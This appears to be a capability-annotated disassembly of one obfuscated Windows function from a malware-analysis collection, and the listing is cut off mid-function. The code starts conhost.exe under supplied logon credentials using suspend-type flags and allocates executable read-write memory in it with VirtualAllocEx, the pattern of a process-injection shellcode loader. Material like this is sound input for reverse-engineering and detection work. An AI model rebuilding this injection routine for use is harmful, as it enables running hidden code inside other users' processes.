Function at 0x140004bc0
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Impersonate user
Resume thread
Terminate process

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x278
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1e0], xmm10
movaps xmmword [rbp + 0x1d0], xmm9
movaps xmmword [rbp + 0x1c0], xmm8
movaps xmmword [rbp + 0x1b0], xmm7
movaps xmmword [rbp + 0x1a0], xmm6
mov qword [rbp + 0x198], 0xfffffffffffffffe
mov qword [rbp + 0x160], r9
mov qword [rbp + 0x168], r8
mov qword [rbp + 0x170], rdx
mov qword [rbp + 0x178], rcx
mov r14d, dword [rbp + 0x268]
mov eax, dword [rbp + 0x260]
mov qword [rbp + 0xd0], 0
test eax, eax
sete cl
test r14d, r14d
sete dl
cmp cl, dl
je 0x140004cb0
test eax, eax
jne 0x140004cb0
xor eax, eax
mov qword [rbp + 0xb8], rax
mov dword [rbp + 0xcc], 0
xor r12d, r12d
mov eax, dword [0x14003cf00]
mov ecx, dword [0x14003cf04]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
setne al
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
cmp bl, dl
mov qword [rbp + 0xd8], r12
jne 0x1400050b4
or cl, al
jne 0x140005593
jmp 0x1400050b4
mov eax, dword [0x14003cf00]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
cmp dword [0x14003cf04], 0xa
setl al
mov edx, eax
and dl, cl
xor al, cl
or al, dl
je 0x140004d50
test r14d, r14d
je 0x140004d52
mov rcx, rbp
mov rdx, qword [rbp + 0x178]
call fcn.1400072b0
lea rcx, [rbp - 0x20]
mov rdx, qword [rbp + 0x170]
call fcn.1400072b0
lea rcx, [rbp + 0xe0]
lea rdx, [rbp - 0x20]
mov r8, rbp
call fcn.140008c10
mov ecx, dword [0x14003cf00]
mov eax, dword [0x14003cf04]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
sete dl
cmp eax, 0xa
setl bl
test bl, dl
jne 0x140004d5a
xor bl, dl
jne 0x140004d5a
nop dword [rax + rax]
jmp 0x140004d40
jmp 0x140004d50
xor r14d, r14d
jmp 0x1400050a7
cmp qword [0x14003ce58], 0
setne dl
cmp qword [0x14003ce60], 0
setne r13b
xor r13b, dl
not r13b
and r13b, dl
cmp qword [0x14003ce68], 0
sete dl
xor r13b, 1
or r13b, dl
xor r13b, 1
je 0x140004e92
mov eax, dword [0x14003cea8]
mov ecx, dword [0x14003ceac]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x130]
cmp ecx, 0xa
setl byte [rbp + 0x190]
mov eax, 0x92849ca1
mov r15d, 0x9dbee1ec
mov r12d, 0x68a758c4
lea rsi, [rbp + 0xe0]
mov edi, 0x8233e087
nop dword [rax]
cmp eax, 0x9dbee1eb
jg 0x140004e30
cmp eax, 0x8233e087
je 0x140004e97
cmp eax, 0x92849ca1
jne 0x140004de0
movzx ecx, byte [rbp + 0x130]
movzx eax, byte [rbp + 0x190]
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x68a758c4
cmovne eax, r15d
test cl, cl
cmove eax, r12d
test dl, dl
cmovne eax, r15d
jmp 0x140004de0
cmp eax, 0x9dbee1ec
je 0x140004e4d
cmp eax, 0x68a758c4
jne 0x140004de0
mov rcx, rsi
call fcn.140010b00
mov eax, 0x9dbee1ec
jmp 0x140004de0
mov rcx, rsi
call fcn.140010b00
mov qword [rbp + 0x180], rax
mov eax, dword [0x14003cea8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x68a758c4
cmove eax, edi
cmp dword [0x14003ceac], 0xa
cmovge eax, r12d
setl dl
xor dl, cl
cmovne eax, edi
jmp 0x140004de0
xor r14d, r14d
jmp 0x140004ebb
mov rcx, qword [rbp + 0x180]
call fcn.14001d7ec
mov r14, rax
mov edx, dword [0x14003cf00]
mov eax, dword [0x14003cf04]
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
test ecx, ecx
sete cl
cmp eax, 0xa
setl al
test al, cl
jne 0x140004ed2
xor al, cl
je 0x140004fd2
lea rcx, [rbp + 0xe0]
call fcn.14000d500
mov eax, dword [0x14003ceb0]
mov ecx, dword [0x14003ceb4]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
sete byte [rbp + 0x190]
mov edi, 0x6c17b9e2
mov esi, 0x5d4c34f0
mov eax, 0x5d4c34f0
cmove eax, edi
cmp ecx, 0xa
setl byte [rbp + 0x180]
setl cl
cmovge eax, esi
xor cl, dl
cmovne eax, edi
mov edx, 0x96a35fd2
mov edi, 0xa57c99fb
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x5d4c34ef
jg 0x140004f60
cmp edx, 0x96a35fd2
je 0x140004f72
cmp edx, 0xa57c99fb
jne 0x140004f40
mov edx, eax
jmp 0x140004f40
cmp edx, 0x5d4c34f0
je 0x140004f9a
cmp edx, 0x6c17b9e2
jne 0x140004f40
jmp 0x140004fa1
movzx ecx, byte [rbp + 0x190]
movzx edx, byte [rbp + 0x180]
mov ebx, ecx
xor bl, dl
mov ebx, 0x5d4c34f0
cmovne ebx, edi
test dl, dl
mov edx, ebx
cmovne edx, edi
test cl, cl
cmove edx, ebx
jmp 0x140004f40
mov edx, 0xa57c99fb
jmp 0x140004f40
mov eax, dword [0x14003cf00]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x14003cf04], 0xa
setl cl
test cl, al
jne 0x14000509c
xor cl, al
jne 0x14000509c
lea rcx, [rbp + 0xe0]
call fcn.14000d500
mov eax, dword [0x14003ceb0]
mov edi, dword [0x14003ceb4]
lea edx, [rax - 1]
imul edx, eax
mov ebx, edx
xor ebx, 0xfffffffe
test ebx, edx
sete al
cmp edi, 0xa
setl cl
xor cl, al
mov eax, 0x6c17b9e2
mov ecx, 0x5d4c34f0
cmovne ecx, eax
test ebx, edx
sete byte [rbp + 0x190]
cmovne eax, ecx
cmp edi, 0xa
setl byte [rbp + 0x180]
cmovge eax, ecx
mov edx, 0x96a35fd2
mov edi, 0xa57c99fb
jmp 0x140005060
movzx ecx, byte [rbp + 0x190]
movzx edx, byte [rbp + 0x180]
mov ebx, ecx
xor bl, dl
mov ebx, 0x5d4c34f0
cmovne ebx, edi
test dl, dl
mov edx, ebx
cmovne edx, edi
test cl, cl
cmove edx, ebx
nop word [rax + rax]
cmp edx, 0x5d4c34ef
jg 0x140005080
cmp edx, 0x96a35fd2
je 0x140005034
cmp edx, 0xa57c99fb
jne 0x140005060
mov edx, eax
jmp 0x140005060
cmp edx, 0x5d4c34f0
je 0x140005095
cmp edx, 0x6c17b9e2
jne 0x140005060
jmp 0x140004ed2
mov edx, 0xa57c99fb
jmp 0x140005060
mov al, 1
test r13b, r13b
je 0x1400067cc
test al, al
je 0x1400063b9
jmp 0x14000603e
xorps xmm0, xmm0
movaps xmmword [rbp + 0x40], xmm0
movaps xmmword [rbp + 0x50], xmm0
movaps xmmword [rbp + 0x90], xmm0
movaps xmmword [rbp + 0x80], xmm0
movaps xmmword [rbp + 0x70], xmm0
movaps xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0xa0], 0
mov dword [rbp + 0x40], 0x68
mov qword [rbp + 0x50], r12
movaps xmmword [rbp + 0x140], xmm0
mov eax, dword [0x14003cea8]
mov ecx, dword [0x14003ceac]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x190]
cmp ecx, 0xa
setl byte [rbp + 0x180]
mov qword [rbp + 0x150], 0
mov ecx, 0x92849ca1
mov r15d, 0x9dbee1ec
mov edi, 0x8233e087
nop word [rax + rax]
cmp ecx, 0x9dbee1eb
jg 0x140005190
cmp ecx, 0x8233e087
je 0x140005206
cmp ecx, 0x92849ca1
jne 0x140005140
movzx eax, byte [rbp + 0x190]
movzx ecx, byte [rbp + 0x180]
mov edx, eax
xor dl, cl
mov edx, 0x68a758c4
cmovne edx, r15d
test cl, cl
mov ecx, edx
cmovne ecx, r15d
test al, al
cmove ecx, edx
jmp 0x140005140
cmp ecx, 0x9dbee1ec
je 0x1400051b3
cmp ecx, 0x68a758c4
jne 0x140005140
mov rcx, qword [rbp + 0x160]
call fcn.140010b00
mov ecx, 0x9dbee1ec
jmp 0x140005140
mov rcx, qword [rbp + 0x160]
call fcn.140010b00
mov ecx, dword [0x14003cea8]
mov esi, dword [0x14003ceac]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
xor ecx, 0xfffffffe
test ecx, ebx
sete r8b
cmp esi, 0xa
setl dl
xor dl, r8b
mov edx, 0x68a758c4
cmovne edx, edi
test ecx, ebx
mov ecx, edx
cmove ecx, edi
cmp esi, 0xa
mov qword [rbp + 0xe0], rax
cmovge ecx, edx
jmp 0x140005140
mov rcx, qword [rbp + 0xe0]
call fcn.14001d7ec
mov ecx, dword [0x14003cea8]
mov edx, dword [0x14003ceac]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
xor ecx, 0xfffffffe
test ecx, ebx
sete byte [rbp + 0x190]
cmp edx, 0xa
setl byte [rbp + 0x180]
mov qword [rbp + 0x38], rax
mov ecx, 0x92849ca1
mov r15d, 0x9dbee1ec
mov edi, 0x8233e087
cmp ecx, 0x9dbee1eb
jg 0x1400052a0
cmp ecx, 0x8233e087
je 0x140005316
cmp ecx, 0x92849ca1
jne 0x140005250
movzx eax, byte [rbp + 0x190]
movzx ecx, byte [rbp + 0x180]
mov edx, eax
xor dl, cl
mov edx, 0x68a758c4
cmovne edx, r15d
test cl, cl
mov ecx, edx
cmovne ecx, r15d
test al, al
cmove ecx, edx
jmp 0x140005250
cmp ecx, 0x9dbee1ec
je 0x1400052c3
cmp ecx, 0x68a758c4
jne 0x140005250
mov rcx, qword [rbp + 0x178]
call fcn.140010b00
mov ecx, 0x9dbee1ec
jmp 0x140005250
mov rcx, qword [rbp + 0x178]
call fcn.140010b00
mov ecx, dword [0x14003cea8]
mov esi, dword [0x14003ceac]
lea ebx, [rcx - 1]
imul ebx, ecx
not ebx
or ebx, 0xfffffffe
cmp ebx, 0xffffffff
sete cl
cmp esi, 0xa
setl dl
xor dl, cl
mov edx, 0x68a758c4
cmovne edx, edi
cmp ebx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp esi, 0xa
mov qword [rbp + 0xe0], rax
cmovge ecx, edx
jmp 0x140005250
mov rcx, qword [rbp + 0xe0]
call fcn.14001d7ec
mov ecx, dword [0x14003cea8]
mov edx, dword [0x14003ceac]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
xor ecx, 0xfffffffe
test ecx, ebx
sete byte [rbp + 0x190]
cmp edx, 0xa
setl byte [rbp + 0x180]
mov qword [rbp + 0x138], rax
mov ecx, 0x92849ca1
mov r15d, 0x9dbee1ec
mov edi, 0x8233e087
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x9dbee1eb
jg 0x1400053c0
cmp ecx, 0x8233e087
je 0x140005436
cmp ecx, 0x92849ca1
jne 0x140005370
movzx eax, byte [rbp + 0x190]
movzx ecx, byte [rbp + 0x180]
mov edx, eax
xor dl, cl
mov edx, 0x68a758c4
cmovne edx, r15d
test cl, cl
mov ecx, edx
cmovne ecx, r15d
test al, al
cmove ecx, edx
jmp 0x140005370
cmp ecx, 0x9dbee1ec
je 0x1400053e3
cmp ecx, 0x68a758c4
jne 0x140005370
mov rcx, qword [rbp + 0x170]
call fcn.140010b00
mov ecx, 0x9dbee1ec
jmp 0x140005370
mov rcx, qword [rbp + 0x170]
call fcn.140010b00
mov ecx, dword [0x14003cea8]
mov esi, dword [0x14003ceac]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
xor ecx, 0xfffffffe
test ecx, ebx
sete r8b
cmp esi, 0xa
setl dl
xor dl, r8b
mov edx, 0x68a758c4
cmovne edx, edi
test ecx, ebx
mov ecx, edx
cmove ecx, edi
cmp esi, 0xa
mov qword [rbp + 0xe0], rax
cmovge ecx, edx
jmp 0x140005370
mov rcx, qword [rbp + 0xe0]
call fcn.14001d7ec
mov r13, rax
mov eax, dword [0x14003cea8]
mov ecx, dword [0x14003ceac]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x190]
cmp ecx, 0xa
setl byte [rbp + 0x180]
mov eax, 0x92849ca1
mov edi, 0x9dbee1ec
mov ebx, 0x68a758c4
mov esi, 0x8233e087
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x9dbee1eb
jg 0x1400054e0
cmp eax, 0x8233e087
je 0x140005549
cmp eax, 0x92849ca1
jne 0x140005490
movzx ecx, byte [rbp + 0x190]
movzx eax, byte [rbp + 0x180]
mov edx, ecx
xor dl, al
mov edx, 0x68a758c4
cmovne edx, edi
test al, al
mov eax, edx
cmovne eax, edi
test cl, cl
cmove eax, edx
jmp 0x140005490
cmp eax, 0x9dbee1ec
je 0x140005501
cmp eax, 0x68a758c4
jne 0x140005490
mov rcx, qword [rbp + 0x168]
call fcn.140010b00
mov eax, 0x9dbee1ec
jmp 0x140005490
mov rcx, qword [rbp + 0x168]
call fcn.140010b00
mov qword [rbp + 0xe0], rax
mov eax, dword [0x14003cea8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x68a758c4
cmove eax, esi
cmp dword [0x14003ceac], 0xa
cmovge eax, ebx
setl dl
xor dl, cl
cmovne eax, esi
jmp 0x140005490
mov rcx, qword [rbp + 0xe0]
call fcn.14001d7ec
mov r15, rax
mov eax, dword [0x14003cf00]
mov edx, dword [0x14003cf04]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
sete bl
cmp edx, 9
setg cl
cmp edx, 0xa
setl dl
xor dl, bl
jne 0x140005a3e
or cl, al
je 0x140005a3e
xorps xmm0, xmm0
movaps xmmword [rbp + 0x40], xmm0
movaps xmmword [rbp + 0x50], xmm0
movaps xmmword [rbp + 0x90], xmm0
movaps xmmword [rbp + 0x80], xmm0
movaps xmmword [rbp + 0x70], xmm0
movaps xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0xa0], 0
mov dword [rbp + 0x40], 0x68
mov qword [rbp + 0x50], r12
movaps xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], 0
mov eax, dword [0x14003cea8]
mov ecx, dword [0x14003ceac]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x190]
cmp ecx, 0xa
setl byte [rbp + 0x180]
mov eax, 0x92849ca1
mov esi, 0x9dbee1ec
mov edi, 0x68a758c4
mov ebx, 0x8233e087
jmp 0x140005670
mov rcx, qword [rbp + 0x160]
call fcn.140010b00
mov qword [rbp + 0xe0], rax
mov eax, dword [0x14003cea8]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x68a758c4
cmove eax, ebx
cmp dword [0x14003ceac], 0xa
cmovge eax, edi
setl dl
xor dl, cl
cmovne eax, ebx
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0x9dbee1eb
jg 0x1400056b0
cmp eax, 0x8233e087
je 0x1400056d5
cmp eax, 0x92849ca1
jne 0x140005670
movzx ecx, byte [rbp + 0x190]
movzx eax, byte [rbp + 0x180]
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x68a758c4
cmovne eax, esi
test cl, cl
cmove eax, edi
test dl, dl
cmovne eax, esi
jmp 0x140005670
cmp eax, 0x9dbee1ec
je 0x14000561d
cmp eax, 0x68a758c4
jne 0x140005670
mov rcx, qword [rbp + 0x160]
call fcn.140010b00
mov eax, 0x9dbee1ec
jmp 0x140005670
mov rcx, qword [rbp + 0xe0]
call fcn.14001d7ec
mov eax, dword [0x14003cea8]
mov ecx, dword [0x14003ceac]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x190]
cmp ecx, 0xa
setl byte [rbp + 0x180]
mov ecx, 0x92849ca1
mov r12d, 0x9dbee1ec
mov r15d, 0x68a758c4
mov esi, 0x8233e087
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x9dbee1eb
jg 0x140005780
cmp ecx, 0x8233e087
je 0x1400057f6
cmp ecx, 0x92849ca1
jne 0x140005730
movzx eax, byte [rbp + 0x190]
movzx ecx, byte [rbp + 0x180]
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x68a758c4
cmovne ecx, r12d
test al, al
cmove ecx, r15d
test dl, dl
cmovne ecx, r12d
jmp 0x140005730
cmp ecx, 0x9dbee1ec
je 0x1400057a3
cmp ecx, 0x68a758c4
jne 0x140005730
mov rcx, qword [rbp + 0x178]
call fcn.140010b00
mov ecx, 0x9dbee1ec
jmp 0x140005730
mov rcx, qword [rbp + 0x178]
call fcn.140010b00
mov ecx, dword [0x14003cea8]
mov edx, dword [0x14003ceac]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
xor ecx, 0xfffffffe
test ecx, edi
sete r8b
cmp edx, 0xa
setl bl
xor bl, r8b
mov ebx, 0x68a758c4
cmovne ebx, esi
test ecx, edi
mov ecx, ebx
cmove ecx, esi
cmp edx, 0xa
mov qword [rbp + 0xe0], rax
cmovge ecx, ebx
jmp 0x140005730
mov rcx, qword [rbp + 0xe0]
call fcn.14001d7ec
mov eax, dword [0x14003cea8]
mov ecx, dword [0x14003ceac]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x190]
cmp ecx, 0xa
setl byte [rbp + 0x180]
mov eax, 0x92849ca1
mov esi, 0x9dbee1ec
mov edi, 0x68a758c4
mov ebx, 0x8233e087
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0x9dbee1eb
jg 0x1400058a0
cmp eax, 0x8233e087
je 0x140005909
cmp eax, 0x92849ca1
jne 0x140005850
movzx ecx, byte [rbp + 0x190]
movzx eax, byte [rbp + 0x180]
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x68a758c4
cmovne eax, esi
test cl, cl
cmove eax, edi
test dl, dl
cmovne eax, esi
jmp 0x140005850
cmp eax, 0x9dbee1ec
je 0x1400058c1
cmp eax, 0x68a758c4
jne 0x140005850
mov rcx, qword [rbp + 0x170]
call fcn.140010b00
mov eax, 0x9dbee1ec
jmp 0x140005850
mov rcx, qword [rbp + 0x170]
call fcn.140010b00
mov qword [rbp + 0xe0], rax
mov eax, dword [0x14003cea8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x68a758c4
cmove eax, ebx
cmp dword [0x14003ceac], 0xa
cmovge eax, edi
setl dl
xor dl, cl
cmovne eax, ebx
jmp 0x140005850
mov rcx, qword [rbp + 0xe0]
call fcn.14001d7ec
mov eax, dword [0x14003cea8]
mov ecx, dword [0x14003ceac]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x190]
cmp ecx, 0xa
setl byte [rbp + 0x180]
mov ecx, 0x92849ca1
mov r12d, 0x9dbee1ec
mov r15d, 0x68a758c4
mov esi, 0x8233e087
nop word cs:[rax + rax]
cmp ecx, 0x9dbee1eb
jg 0x1400059b0
cmp ecx, 0x8233e087
je 0x140005a26
cmp ecx, 0x92849ca1
jne 0x140005960
movzx eax, byte [rbp + 0x190]
movzx ecx, byte [rbp + 0x180]
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x68a758c4
cmovne ecx, r12d
test al, al
cmove ecx, r15d
test dl, dl
cmovne ecx, r12d
jmp 0x140005960
cmp ecx, 0x9dbee1ec
je 0x1400059d3
cmp ecx, 0x68a758c4
jne 0x140005960
mov rcx, qword [rbp + 0x168]
call fcn.140010b00
mov ecx, 0x9dbee1ec
jmp 0x140005960
mov rcx, qword [rbp + 0x168]
call fcn.140010b00
mov ecx, dword [0x14003cea8]
mov edx, dword [0x14003ceac]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
xor ecx, 0xfffffffe
test ecx, edi
sete r8b
cmp edx, 0xa
setl bl
xor bl, r8b
mov ebx, 0x68a758c4
cmovne ebx, esi
test ecx, edi
mov ecx, ebx
cmove ecx, esi
cmp edx, 0xa
mov qword [rbp + 0xe0], rax
cmovge ecx, ebx
jmp 0x140005960
mov rcx, qword [rbp + 0xe0]
call fcn.14001d7ec
mov r12, qword [rbp + 0xd8]
jmp 0x1400050b4
test r14d, r14d
mov rdi, qword [rbp + 0xb8]
je 0x140005ae0
lea rax, [rbp + 0x140]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x40]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov rax, qword [rbp + 0x38]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], 0
mov rcx, qword [rbp + 0x138]
mov rdx, r13
mov r8, r15
mov r9d, edi
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x140005f5b
mov eax, dword [0x14003cf00]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x14003cf04], 0xa
setl cl
test cl, al
mov rdi, qword [rbp + 0x138]
jne 0x140006b2b
xor cl, al
je 0x140006b95
jmp 0x140006b2b
lea rbx, [rbp + 0x190]
lea rsi, [rbp + 0x12c]
mov r12d, 0x9dbee1ec
mov r14d, 0x8233e087
jmp 0x140005b12
mov rcx, qword [rbp + 0xe0]
mov rdx, rbx
mov r8, rsi
call fcn.140008820
mov dword [rbp + 0x12c], 0
mov qword [rbp + 0x190], 0
mov eax, dword [0x14003cea8]
mov ecx, dword [0x14003ceac]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x130]
cmp ecx, 0xa
setl byte [rbp + 0x180]
mov eax, 0x92849ca1
nop word cs:[rax + rax]
cmp eax, 0x9dbee1eb
jg 0x140005bb0
cmp eax, 0x8233e087
je 0x140005c30
cmp eax, 0x92849ca1
jne 0x140005b60
movzx ecx, byte [rbp + 0x130]
movzx eax, byte [rbp + 0x180]
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x68a758c4
cmovne eax, r12d
test cl, cl
mov ecx, 0x68a758c4
cmove eax, ecx
test dl, dl
cmovne eax, r12d
jmp 0x140005b60
cmp eax, 0x9dbee1ec
je 0x140005bd1
cmp eax, 0x68a758c4
jne 0x140005b60
mov rcx, qword [rbp + 0x160]
call fcn.140010b00
mov eax, 0x9dbee1ec
jmp 0x140005b60
mov rcx, qword [rbp + 0x160]
call fcn.140010b00
mov qword [rbp + 0xe0], rax
mov eax, dword [0x14003cea8]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x68a758c4
cmove eax, r14d
cmp dword [0x14003ceac], 0xa
mov edx, 0x68a758c4
cmovge eax, edx
setl dl
xor dl, cl
cmovne eax, r14d
jmp 0x140005b60
mov rcx, qword [rbp + 0xe0]
mov rdx, rbx
mov r8, rsi
call fcn.140008820
mov ecx, dword [0x14003cf00]
lea edx, [rcx - 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp dword [0x14003cf04], 0xa
setl dl
test dl, cl
jne 0x140005d9b
xor dl, cl
jne 0x140005d9b
mov dword [rbp + 0x12c], 0
mov qword [rbp + 0x190], 0
mov eax, dword [0x14003cea8]
mov ecx, dword [0x14003ceac]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x130]
cmp ecx, 0xa
setl byte [rbp + 0x180]
mov ecx, 0x92849ca1
nop dword [rax + rax]
cmp ecx, 0x9dbee1eb
jg 0x140005d10
cmp ecx, 0x8233e087
je 0x140005b00
cmp ecx, 0x92849ca1
jne 0x140005cc0
movzx eax, byte [rbp + 0x130]
movzx ecx, byte [rbp + 0x180]
mov edx, eax
xor dl, cl
mov edx, 0x68a758c4
cmovne edx, r12d
test cl, cl
mov ecx, edx
cmovne ecx, r12d
test al, al
cmove ecx, edx
jmp 0x140005cc0
cmp ecx, 0x9dbee1ec
je 0x140005d33
cmp ecx, 0x68a758c4
jne 0x140005cc0
mov rcx, qword [rbp + 0x160]
call fcn.140010b00
mov ecx, 0x9dbee1ec
jmp 0x140005cc0
mov rcx, qword [rbp + 0x160]
call fcn.140010b00
mov ecx, dword [0x14003cea8]
mov edx, dword [0x14003ceac]
lea edi, [rcx - 1]
imul edi, ecx
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete cl
cmp edx, 0xa
mov r8, rsi
mov rsi, rbx
setl bl
xor bl, cl
mov ebx, 0x68a758c4
cmovne ebx, r14d
cmp edi, 0xffffffff
mov ecx, ebx
cmove ecx, r14d
cmp edx, 0xa
mov qword [rbp + 0xe0], rax
cmovge ecx, ebx
mov rbx, rsi
mov rsi, r8
mov rdi, qword [rbp + 0xb8]
jmp 0x140005cc0
test eax, eax
setne al
movsxd rdx, dword [rbp + 0x12c]
test rdx, rdx
setne cl
xor cl, al
not cl
and cl, al
mov rbx, qword [rbp + 0x190]
test rbx, rbx
sete al
xor cl, 1
or cl, al
jne 0x140005f6a
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x28], rdx
movaps xmm8, xmmword [0x14002f040]
movaps xmm9, xmmword [0x14002f030]
movaps xmm10, xmmword [0x14002f020]
movaps xmm7, xmmword [str.C:WindowsSystem32conhost.exe]
lea rax, [rbp + 0x140]
mov r9, rdi
lea rcx, [rbp + 0x40]
xorps xmm6, xmm6
lea rdx, [rbp + 0xe0]
mov rdi, qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
mov qword [rbp + 0x20], r13
mov r13, qword [rbp + 0x138]
mov qword [rbp + 0xc0], r15
nop word cs:[rax + rax]
nop dword [rax]
mov dword [rbp + 0x7c], 1
mov word [rbp + 0x80], 0
movaps xmmword [rbp + 0x110], xmm8
movaps xmmword [rbp + 0x100], xmm9
movaps xmmword [rbp + 0xf0], xmm10
movaps xmmword [rbp + 0xe0], xmm7
mov r12, rax
mov qword [rsp + 0x50], rax
mov rbx, rcx
mov qword [rsp + 0x48], rcx
movups xmmword [rsp + 0x38], xmm6
mov rsi, rdx
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x30], 0x8000004
mov qword [rsp + 0x20], 0
mov rcx, r13
mov r13, qword [rbp + 0x20]
mov rdx, r13
mov r8, r15
mov r14, rdi
call rdi
mov ecx, dword [0x14003cf00]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
sete cl
cmp dword [0x14003cf04], 0xa
setl dl
test dl, cl
jne 0x140005f80
xor dl, cl
jne 0x140005f80
mov dword [rbp + 0x7c], 1
mov word [rbp + 0x80], 0
movaps xmmword [rbp + 0x110], xmm8
movaps xmmword [rbp + 0x100], xmm9
movaps xmmword [rbp + 0xf0], xmm10
movaps xmmword [rbp + 0xe0], xmm7
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], rbx
movups xmmword [rsp + 0x38], xmm6
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x30], 0x8000004
mov qword [rsp + 0x20], 0
mov rdx, r13
mov r13, qword [rbp + 0x138]
mov rcx, r13
mov r15, qword [rbp + 0xc0]
mov r8, r15
mov rdi, qword [rbp + 0xb8]
mov r9d, edi
call r14
mov r9, rdi
mov rdi, r14
mov rdx, rsi
mov rcx, rbx
mov rax, r12
jmp 0x140005e30
xor r14d, r14d
mov rdi, qword [rbp + 0x138]
jmp 0x140006d19
xor r14d, r14d
mov r12, qword [rbp + 0xd8]
mov rdi, qword [rbp + 0x138]
jmp 0x140006d19
test eax, eax
je 0x140005ff5
mov rcx, qword [rbp + 0x140]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r15, qword [rbp + 0x28]
mov r8, r15
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
je 0x140006012
mov r14, rax
mov eax, dword [0x14003cf00]
mov ecx, dword [0x14003cf04]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
setne al
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
cmp bl, dl
mov rdi, qword [rbp + 0x30]
jne 0x140006bc5
or cl, al
jne 0x140006c19
jmp 0x140006bc5
xor r14d, r14d
mov r12, qword [rbp + 0xd8]
mov rdi, qword [rbp + 0x138]
mov r15, qword [rbp + 0xc0]
jmp 0x140006d19
mov rcx, qword [rbp + 0x140]
xor r14d, r14d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov r12, qword [rbp + 0xd8]
mov rdi, qword [rbp + 0x138]
